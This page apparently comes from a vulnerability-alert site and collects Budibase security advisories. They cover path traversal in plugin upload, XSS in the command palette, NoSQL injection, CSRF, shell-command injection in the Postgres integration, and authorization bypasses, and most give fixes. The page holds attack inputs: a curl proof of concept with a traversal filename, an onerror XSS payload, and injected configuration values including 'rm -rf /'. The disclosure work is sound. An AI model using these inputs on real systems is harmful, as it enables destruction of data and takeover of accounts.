Inconsistent defenses confirm the gap

The codebase is aware of the risk in similar paths:

1. Safe path in utils.ts: The downloadUnzipTarball function (for NPM/GitHub/URL plugin sources) generates a random name server-side: typescript // packages/server/src/api/controllers/plugin/index.ts:68 const name = "PLUGIN" + Math.floor(100000 + Math.random() 900000) This is safe because name never contains user input.

2. Safe path in objectStore.ts: Other uses of budibaseTempDir() use UUID-generated names: typescript // packages/backend-core/src/objectStore/objectStore.ts:546 const outputPath = join(budibaseTempDir(), v4())

3. Sanitization exists but is not applied: The codebase has sanitizeKey() in objectStore.ts for sanitizing object store paths, but no equivalent is applied to createTempFolder's input.

The file upload path is the only caller of createTempFolder that passes unsanitized user input.

Execution chain

1. Authenticated Global Builder sends POST /api/plugin/upload with a multipart file whose Content-Disposition filename contains path traversal (e.g., ../../etc/target.tar.gz) 2. koa-body/formidable parses the upload, setting file.name to the raw filename from the header 3. controller.upload → sdk.plugins.processUploaded() → fileUpload(file) 4. .endsWith(".tar.gz") check passes (the suffix is present) 5. .split(".tar.gz")[0] extracts ../../etc/target 6. createTempFolder("../../etc/target") is called 7. path.join("/tmp/.budibase", "../../etc/target") resolves to /etc/target 8. fs.rmSync("/etc/target", { recursive: true, force: true }) — deletes the target directory recursively 9. fs.mkdirSync("/etc/target") — creates a directory at the traversed path 10. extractTarball(file.path, "/etc/target") — extracts attacker-controlled tarball contents to the traversed path

Proof of Concept

bash Create a minimal tarball with a test file mkdir -p /tmp/plugin-poc && echo "pwned" > /tmp/plugin-poc/test.txt tar czf /tmp/poc-plugin.tar.gz -C /tmp/plugin-poc .

Upload with a traversal filename targeting /tmp/pwned (non-destructive demo) curl -X POST 'http://localhost:10000/api/plugin/upload' \ -H 'Cookie: <globalbuildersessioncookie>' \ -F "file=@/tmp/poc-plugin.tar.gz;filename=../../tmp/pwned.tar.gz"

Result: server executes: rm -rf /tmp/pwned (if exists) mkdir /tmp/pwned tar xzf <upload> -C /tmp/pwned Verify: ls /tmp/pwned/test.txt

Impact

- Arbitrary directory deletion: rmSync with { recursive: true, force: true } deletes any directory the Node.js process can access, including application data directories - Arbitrary file write: Tarball extraction writes attacker-controlled files to any writable path, potentially overwriting application code, configuration, or system files - Denial of service: Deleting critical directories (e.g., the application's data directory, nodemodules, or system directories) crashes the application - Potential code execution: In containerized deployments (common for Budibase) where Node.js runs as root, an attacker could overwrite startup scripts or application code to achieve remote code execution on subsequent restarts

Recommended Remediation

Option 1: Sanitize at createTempFolder (preferred — protects all callers)

typescript import { join, resolve } from "path"

export const createTempFolder = (item: string) => { const tempDir = budibaseTempDir() const resolved = resolve(tempDir, item)

// Ensure the resolved path is within the temp directory if (!resolved.startsWith(tempDir + "/") && resolved !== tempDir) { throw new Error("Invalid path: directory traversal detected") }

try { if (fs.existsSync(resolved)) { fs.rmSync(resolved, { recursive: true, force: true }) } fs.mkdirSync(resolved) } catch (err: any) { throw new Error(Path cannot be created: ${err.message}) }

return resolved }

Option 2: Sanitize at the upload handler (defense-in-depth)

Strip path components from the filename before use:

typescript import path from "path"

export async function fileUpload(file: KoaFile) { if (!file.name || !file.path) { throw new Error("File is not valid - cannot upload.") } if (!file.name.endsWith(".tar.gz")) { throw new Error("Plugin must be compressed into a gzipped tarball.") } // Strip directory components from the filename const safeName = path.basename(file.name).split(".tar.gz")[0] const dir = createTempFolder(safeName) await extractTarball(file.path, dir)

return await getPluginMetadata(dir) }

Both options should ideally be applied together for defense-in-depth.

Credit

This vulnerability was discovered and reported by bugbunny.ai.

1 / 2
Source: GitHub
First published (updated )
Severity
8.7
XSS
AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N

Budibase is an open-source low-code platform. Prior to version 3.32.5, Budibase's Builder Command Palette renders entity names (tables, views, queries, automations) using Svelte's {@html} directive without any sanitization. An authenticated user with Builder access can create a table, automation, view, or query whose name contains an HTML payload (e.g. <img src=x onerror=alert(document.domain)>). When any Builder-role user in the same workspace opens the Command Palette (Ctrl+K), the payload executes in their browser, stealing their session cookie and enabling full account takeover. This issue has been patched in version 3.32.5.

First published (updated )
Severity
8.7
SQL Injection
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L

Budibase Server before 3.40.0 contains a NoSQL injection vulnerability in the MongoDB query execution endpoint where user-supplied parameters are interpolated into JSON query templates without proper sanitization of JSON metacharacters. Attackers with query write permission can inject JSON structural characters to alter MongoDB queries, bypassing filters to read, modify, or delete arbitrary documents.

First published (updated )
Severity
8.7
CSRF
AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:N

Budibase before 3.40.0 contains a cross-site request forgery vulnerability in the chat-link handoff endpoint that allows attackers to bind an external chat identity to a victim's account. Attackers can craft a phishing page that auto-submits a POST request with a leaked confirmation token to bind their chat identity to a victim user's account, enabling impersonation within agent operations and inheritance of victim permissions.

First published (updated )
Severity
8.6
Command Injection, OS Command Injection
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Location: packages/server/src/integrations/postgres.ts:529-531

Description The PostgreSQL integration constructs shell commands using user-controlled configuration values (database name, host, password, etc.) without proper sanitization. The password and other connection parameters are directly interpolated into a shell command.

Code Reference 529:531:packages/server/src/integrations/postgres.ts const dumpCommand = PGPASSWORD="${ this.config.password }" pgdump --schema-only "${dumpCommandParts.join(" ")}"

Attack Vector An attacker who can control database configuration values (e.g., through compromised credentials or configuration injection) can inject shell commands. For example: - Password: password"; malicious-command; echo " - Database name: db"; rm -rf /; echo "

Impact - Remote code execution - System compromise - Data exfiltration

Recommendation 1. Use environment variables for sensitive values instead of command-line arguments 2. Validate and sanitize all configuration values 3. Use proper escaping for shell arguments 4. Consider using a PostgreSQL library's native dump functionality instead of shell commands

Example Fix typescript import { execFile } from "childprocess" import { promisify } from "util" const execFileAsync = promisify(execFile)

// Use execFile with proper argument handling const env = { ...process.env, PGPASSWORD: this.config.password }

const args = [ "--schema-only", "--host", this.config.host, "--port", this.config.port.toString(), "--username", this.config.user, "--dbname", this.config.database ]

try { const { stdout } = await execFileAsync("pgdump", args, { env }) return stdout } catch (error) { // Handle error }

1 / 2
Source: GitHub
First published (updated )
Severity
8.6
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

Budibase versions before 3.40.0 contain an authorization/authentication bypass in the PUT /api/global/users/tenant/owner (changeTenantOwnerEmail) endpoint. On self-hosted instances (SELFHOSTED or DISABLEACCOUNTPORTAL set), the cloudRestricted middleware is a no-op and the route is protected only by a general authentication check, so any authenticated user — including a lowest-privilege BASIC app user — can reassign the tenant account-holder (top-privilege admin) email to an attacker-controlled address. The attacker can then use the public password-reset flow to take over the admin account, leading to full administrative access.

First published (updated )
Severity
8.6
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

Budibase before 3.41.3 fails to enforce per-table role restrictions on the POST /api/datasources/query endpoint, allowing low-privilege BASIC users to read, create, update, or delete rows in any table regardless of configured permissions. Attackers with BASIC role can submit crafted query requests with target table identifiers to bypass table-level access controls and manipulate restricted data.

First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203